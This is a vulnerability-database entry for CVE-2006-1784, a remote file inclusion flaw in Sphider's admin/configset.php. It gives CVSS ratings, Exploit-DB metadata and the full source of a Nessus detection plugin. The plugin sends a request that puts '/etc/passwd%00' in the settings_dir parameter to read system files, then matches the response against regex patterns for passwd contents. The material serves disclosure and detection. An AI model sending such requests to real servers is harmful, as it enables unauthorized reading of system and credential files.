Vulnerabilities > CVE-2006-1784 - Remote File Include vulnerability in Sphider 1.3/1.3Rc1/1.3Rc2

047910
CVSS 5.1 - MEDIUM
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
high complexity
sphider
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in admin/configset.php in Sphider 1.3 and earlier, when register_globals is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the settings_dir parameter.

Vulnerable Configurations

Part Description Count
Application
Sphider
3

Exploit-Db

descriptionSphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit. CVE-2006-1784. Webapps exploit for php platform
fileexploits/php/webapps/1665.pl
idEDB-ID:1665
last seen2016-01-31
modified2006-04-12
platformphp
port
published2006-04-12
reporterrgod
sourcehttps://www.exploit-db.com/download/1665/
titleSphider <= 1.3 configset.php Arbitrary Remote Inclusion Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idSPHIDER_SETTINGS_DIR_FILE_INCLUDE.NASL
descriptionThe remote host is running Sphider, an open source web spider and search engine written in PHP. The version of Sphider installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id21229
published2006-04-16
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/21229
titleSphider configset.php settings_dir Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21229);
  script_version("1.21");

  script_cve_id("CVE-2006-1784");
  script_bugtraq_id(17514);

  script_name(english:"Sphider configset.php settings_dir Parameter Remote File Inclusion");
  script_summary(english:"Tries to read /etc/passwd using Sphider");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Sphider, an open source web spider and
search engine written in PHP. 

The version of Sphider installed on the remote host fails to sanitize
user-supplied input to the 'settings_dir' parameter of the
'admin/configset.php' script before using it in a PHP 'include()'
function.  Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker may be able to exploit this issue to view
arbitrary files on the remote host or to execute arbitrary PHP code,
possibly taken from third-party hosts." );
  # https://downloads.securityfocus.com/vulnerabilities/exploits/sphider_poc.pl
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0667f57f" );
  # http://web.archive.org/web/20060420232116/http://www.cs.ioc.ee/~ando/sphider/forum/board_entry.php?id=2643
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?188b9fce" );
 script_set_attribute(attribute:"solution", value:
"Edit the affected script as described in the vendor forum posting
referenced above." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/16");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/04/12");
 script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:sphider:sphider");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);

# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/sphider", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit one of the flaws to read a file.
  file = "/etc/passwd%00";
  w = http_send_recv3(method:"GET", 
    item:string(
      dir, "/admin/configset.php?",
      "settings_dir=", file
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "the web server on port "+port+" did not answer");
  res = w[2];

  # There's a problem if...
  if (
    # It's from Sphider and..
    "<td> Sphider version</td>" >< res &&
    (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream" or "failed opening".
      #
      # nb: this suggests magic_quotes_gpc was enabled but an attacker with
      #     local access and/or remote file inclusion might still work.
      egrep(pattern:"main\(/etc/passwd\\0conf\.php.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<div id='submenu'>");

    if (isnull(contents)) security_warning(port);
    else
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    exit(0);
  }
}